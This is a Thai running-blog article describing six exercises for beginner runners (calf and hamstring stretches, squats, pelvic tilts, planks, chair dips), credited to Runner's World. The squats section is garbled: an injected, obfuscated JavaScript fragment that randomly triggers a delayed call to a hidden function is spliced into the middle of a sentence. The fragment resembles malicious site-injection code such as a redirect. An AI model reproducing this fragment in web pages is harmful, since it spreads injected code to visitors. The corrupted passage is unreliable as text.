• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Running Tips

6 กระบวนท่าบริหารร่างกายสำหรับนักวิ่งหน้าใหม่

Kanthad Yangsattha by Kanthad Yangsattha
12 December 2014
in Running Tips, Tips & Technics
0
6 กระบวนท่าบริหารร่างกายสำหรับนักวิ่งหน้าใหม่
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

ท่าบริหารร่างกายง่ายๆ เพื่อเสริมสร้างความแข็งแกร่งให้กับร่างกาย

StepExtra นำเสนอ 6 กระบวนท่าเปลี่ยนเส้นเอ็น (บริหารร่างกาย) เพื่อเสริมสร้างความแข็งแรงให้กับร่างกาย ป้องกันอาการบาดเจ็บและทำให้เราสามารถวิ่งได้ดี สนุกกับการออกกำลังกายมากขึ้น

1. Calf Stretch หรือการยืดกล้ามเนื้อน่อง

จุดประสงค์ เพื่อเพิ่มความยืดหยุ่นของกล้ามเนื่อน่องและเอ็นร้อยหวาย

xtrain_stretchc200_2 (1)

ทำไม การวิ่งเป็นกีฬาที่ต้องใช้และมีเคลื่อนไหวกล้ามเนื้อขามากกว่ากีฬาประเภทอื่นๆ การมีกล้ามเนื้อที่ยืดหยุ่น ทั้งน่องขาเอ็นร้อยหวาย จะทำให้เราสามารถส่งแรงผลักดันได้ดีขึ้น รวมทั้งช่วยลดแรงเครียดที่มีต่อกล้ามเนื้อและเอ็นได้ดี

ทำอย่างไร นั่งเหยีดขาตรง ยื่นแขนตรงและจับตรงนิ้วเท้าหรือบริเวณ Ball of Foot จะใช้มือจับผ้าขนหนูแล้วพาดรอบนิ้วเท้าก็ได้ ดึงนิ้วเท้าเข้าหาเรา เวลาดึงให้รีเเลกซ์ข้อเท้า จะรู้สึกถึงอาการตึงๆ บริเวณน่องและช่วงเอ็นร้อยหวาย เวลาดึงให้หายใจออกและค้างไว้ 2 วินาที ปล่อยนิ้วเท้าแล้วทำใหม่อีกรอบ แนะนำให้ทำข้างละ 10 ครั้ง

ทำเมื่อไหร ดีที่สุดหลังจากวิ่งเสร็จแล้ว

ข้อควรรู้ กรุณาทำอย่างนิ่มน่วม โดยเฉพาะนักวิ่งหน้าใหม่ และสำหรับสาวๆ ที่ใส่แต่ส้นสูงตลอด แนะนำให้ลองเดินเท้าเปล่ารอบๆ บ้านเพื่อเสริมสร้างความแข็งแรงของกล้ามเนื้อน่องและเอ็นร้อยหวายก่อนนะครับ

 

2. การยืดกล้ามเนื้อ Hamstring

จุดประสงค์ เพื่อเพิ่มความยือหยุ่นของกล้ามเนื้อขาด้านหลัง ตั้งแต่ปลายก้น ยาวลงไปข้างล่าง ซึ่งกล้ามเนื้อตำแหน่งหลักที่ช่วยการเดิน และ วิ่ง

ทำไม นักวิ่งต้องใช้กล้ามเนื้อจากส่วน Hamstring ซึ่งเป็นมัดกล้ามเนื้อจากก้นลงมาถึงขา ในการขับเคลื่อนร่างกายไปข้างหน้า แต่หากมีการใช้งานที่มากเกินไปของกล้ามเนื้อส่วนนี้ กล้ามเนื้อที่เรียกว่า Quads หรือกล้ามเนื้อต้นขาส่วนหน้าต้องมารับภาระในการเคลื่อนขึ้นลง ทำให้การวิ่งดูสะดุดไม่ไหลลื่น

hamstring2200

ทำอย่างไร นอนลงกับพื้นแล้วยืดข้างหนึ่งขึ้น ใช้ผ้าหรือเชือกพัดรอบขาบริเวณนิ้วเท้าหรือ Ball of Foot ดึงให้ขาเหยียดตรง ให้ใช้เชือกในการดึงเท่านั้นส่วนขาปล่อยฟรีและรีแลกซ์ ทำไม่กี่วินาทีแล้วค่อยๆ ลดระดับลง ทำซ้า 10 ครั้งและสลับขา

ทำเมื่อไหร ทำก่อนวิ่ง โดยเฉพาะถ้าชอบวิ่งตอนเช้าหรือหยุดวิ่งไปพักใหญ่ และแนะนำให้ทำช่วงหลังจากวิ่งเสร็จสัปดาห์ละ 2-3 ครั้ง ช่วงที่กล้ามเนื้อยังอุ่นๆ อยู่

ข้อควรรู้ การนั่งทำงานหรือการขับรถทำให้กล้ามเนื้อ Hamstring ลดความหยืดหยุ่นลง แนะนำให้มีการเคลื่อนไหวบางในแต่ละชั่วโมง

 

3. การทำ Squats

จุดประสงค์ เพื่อเพิ่มความแขงแรงและศักยภาพในการเคลื่อนไหวบริเวณเอวและปั้นท้าย ( Hips andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Glutes) ให้ดีขึ้น

ทำไม การมีกล้ามเนื้อ Core ที่แข็งแรงเป็นอะไรที่มากกว่าการมีกล้ามหน้าท้องที่แข็งแรง กล้ามเนื้อ Core จะอยู่ด้านในและรอบๆ บริเวณเอวและปั้นท้าย ถ้าเรามีเอวและปั้นท้ายที่แข็งแรงหมายถึงเราสามารถเคลื่อนไหวได้ดี ไหลลื่นมากขึ้น สามารถรองรับรูปแบบการเคลื่อนไหวได้หลากหลายขึ้น ซึ่งมีประโยชน์มากในการสร้างฟอร์มการวิ่งที่ดี ทั้งนี้กล้ามเนื้อเอวและปั้นท้ายที่ดียังช่วยลดอาการบาดเจ็บได้อีกด้วย อย่างเช่นเข่า เพราะกล้ามเนื้อที่แข็งแรงช่วยบังคับให้ตำแหน่งขาเป็นแนวเดียวกันกับเท้าไม่แกว่งไปมา ทั้งตอนลงและผลักเท้า

wh1112fit_15min02200

ทำอย่างไร ยืนตัวตรงไหล่เปิด ไขว้มือไว้หลังหัว ปลายเท้าชี้ตรง ให้หลังตรงและรีแลกซ์ เวลาบริหารให้ค่อยๆ ย่อเอวลง ให้เข่าและขาอยู่ในแนวเดียวกัน ย่อให้ต่ำจนรู้สึกถึงแรงตึงบริเวณน่อง ถ้าจะย่อต่ำกว่านี้ก็ได้แต่เอาแค่ระดับที่เรายังรักษาฟอร์มการทำสควอทได้อยู่ เมื่อเวลาดันขึ้นให้ใช้กล้ามเนื้อช่วงปั้นท้ายและเอวดันขึ้น ให้เริ่มทำทั้งแต่ 10 ครั้ง 2 เซต และค่อยๆ เพิ่มจนถึง 25 ครั้ง 3 เซต

ทำเมื่อไหร ให้ทำ 2-3 ครั้งใน 1 สัปดาห์ สามารถนำไปรวมกับการฝึกแบบ Strengthening exercise อื่นๆ ได้ ทำได้หลังจากการวิ่งเบาๆ แต่หากทำหลังการวิ่งหนักให้ทำเบาๆ พร้อมกับการเดินยืดเส้น

ข้อควรรู้ ถ้ามีประวัติบาดเจ็บบริเวณหลังช่วล่างและเข่า ให้ทำเบาๆ อย่าย่อจนขนานกับพื้น

 

4. งอขาคู่หลังกดติดพื้น หรือ Double-Leg Pelvic Tilt

จุดประสงค์ เพิ่มความยืดหยุ่นให้กับแผ่นหลังช่วงล่าง

ทำไม การมีกล้ามเนื้อแผ่นหลังช่วงล่างที่ไม่สมดุลและไม่ยืดหยุ่น ทำให้เกิดอาการส่ายไปมาของเชิงกรานเวลาวิ่ง ดึงให้กล้ามเนื้อปั่นท้ายและ Hamstrings ส่วนบนทำงานหนักมากขึ้น กล้ามเนื้อแต่ละส่วนทำงานผิดปรกติและไม่มีความสมดุลนี้อาจทำให้เกิดอาการบาดเจ็บได้ตั้งแต่เอวลงไปถึงขา

ทำอย่างไร นอนหงายหลัง เริ่มชันเข่าทั้งสองข้าง เท้ายังวางเรียบขนานกับพื้น เอามือทั้งสองกุมขาบริเวณใต้เข่าเพื่อซับพอร์ตเวลาดึง ให้ใช้ช่วงท้องและส่วนต้นขา (quadricep) ในการยกขา ให้ดึงขาตรงมาที่อก ถ้าไปต่อไม่ไหวอย่าฝืน ใช้มือช่วยแต่ห้ามดึง ค้างไว้ 1.5-2 วินาที ทำซ้ำเซตละ 8-10 ครั้ง

Wharton04

ทำเมื่อไหร เพราะเป็นการช่วยยืดกล้ามเนื้อ Hamstrings ควรจะทำก่อนวิ่ง จะทำให้เรามีฟอร์มการวิ่งที่ดี และถ้าฝึกทำหลังวิ่งด้วยบ่อยๆเข้า เราจะเห็นพัฒนาการที่ดีขึ้น

ข้อควรรู้ นักวิ่งคนไหนที่ทำนั่งทำงานนานๆ แนะนำต้องทำการยืดก่อนวิ่ง

 

5. Planks

จุดประสงค์ ทำให้เราวิ่งตัวตรงได้นานขึ้น

ทำไม เป็นธรรมดาสำหรับนักวิ่ง เมื่อเรามีอาการเหนื่อยเวลาวิ่งนานๆ กล้ามเนื้อช่วงเอวต้องต่อสู้กับแรงโน้วถ่วงให้เราสามารถวิ่งตัวตรง พร้อมเอียงหรือโน้มตัวมาข้างหน้าเล็กน้อยในการวิ่งตามฟอร์มการวิ่งที่ดี แต่เมื่อถึงจุดหนึ่งที่กล้ามเนื้อเอวรับไม่ไหว กล้ามเนื้อช่วงหลังและข้าด้านบนต้องมารับหน้าที่แทนเอว ทำงานหนักมากขึ้น ผลคือเราจะวิ่งได้ช้าลงรู้สึกไม่สบายตัวแม้เราจะวิ่งตัวตรงก็ตาม การฝึกทำ Planking จะช่วยให้เราวิ่งตัวตรงและรับษาฟอร์มการวิ่งได้นานขึ้น

045781_part4ch15_plank200

ทำอย่างไร นอนคว่ำหน้าลง โดยงอข้อศอกทั้งสองข้างขึ้นตั้งชันไว้กับพื้นเหมือนกับวิดพื้น ให้ตัวนั้นเป็นเส้นตรงขนานอยู่เหนือพื้นโดยเกร็งกล้ามเนื้อบริเวณหน้าท้อง สะโพก ต้นขา และบั้นท้ายไปด้วย ค้างประมาณ 30 วินาที พักแล้วทำใหม่อีกครั้ง ฝึกทำจนสามารถค้างไว้ถึง 1 นาทีในแต่ละครั้ง

ทำเมื่อไหร สามารถทำได้ทุกวัน แต่แนะนำให้ทำ 3 ครั้งต่อสัปดาห์ และสามาถทำได้หลังจากการวิ่งเบาๆ

ข้อควรรู้ ท่า Plank ทำให้กล้ามเนื้อทุกส่วนของหน้าท้องต้องทำงาน มีประสิทธิภาพมากกว่าการ Crunch หรือท่าออกกำลังหน้าท้องอื่นๆ ที่เน้นเฉพาะส่วน

 

6. ท่า Dips

จุดประสงค์ ฝึกให้วิ่งไหล่เปิดไม่ห่อไหล ให้ไหลอยู่ในแนวเดียวกับเอว

ทำไม ฟอร์มการวิ่งที่ดีควรจะให้ร่างกายอยู่ในแนวเส้นตรงนับจากเท้า เอว ไหล่และหัว หรือวิ่งตัวตรงแต่นักวิ่งทั่วไปจะมีอาการวิ่งห่อไหล่ไปข้างหน้า วิ่งหลังค่อมก็มี การกระทำอย่างนี้จะเป็นการเพิ่มภาระให้กับ ไหล่ แขนและคอ และขัดขวางระบบการหายใจ รบกวนการเคลื่อนไหวของเอวและ กล้ามเนื้อ Hamstrings การฝึกท่า Dips จะช่วยเพื่อความแข็งแรงให้กับกล้ามเนื้อหลังส่วนบนทำให้เราสามารถรักษาฟอร์มการวิ่งตัวตรงได้ดีขึ้น

ทำอย่างไร ให้หันหน้าออกจากเก้าอี้ ย่อตัวและวางมือไว้บนขอบเก้าอี้ กรณีที่ไม่ใช้เก้าอี้ให้ใช้วัตถุอื่นๆที่ ฐานที่มั่นคง และความสูงใกล้เคียงกัน วางเท้าไปกับพื้น ย่อตัวให้หลังตรงจนข้อศอกทำมุม 90 องศา ดันขึ้นและย่อใหม่ 10 ครั้ง ฝึกจนสามารถทำได้ 20 ครั้ง 2 เซต

chairdip200

ทำเมื่อไหร ให้ทำพร้อมกับวันที่ฝึก Squat และ Plank

ข้อควรรู้ กรณีที่ต้องทำงานหน้าจอหรือจ้องโทรศัพท์มือถือนาน ให้หยุดพักและบริหารไหล่บ้าง โดยการยืนตรงหมุนไหล่จากหน้าไปหลัง 10 ครั้ง แล้วลองสังเกตดูว่าตอนนั่งหลังไหล่ห่อเป็นอย่างไร

 

เครดิต Runnersworld

 

 

ShareTweetShare
Kanthad Yangsattha

Kanthad Yangsattha

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • ผู้ใช้ Garmin โปรดทราบ หน้าปัดนาฬิกาลายเลข 9 เพื่อเเสดงความอาลัย มีให้ดาวน์โหลดเเล้ว

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • อาดิดาสเปิดตัวชุดออกกำลังกายผู้หญิงคอลเลคชั่น Must Have เพิ่มความมั่นใจกระชับทุกสัดส่วน

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.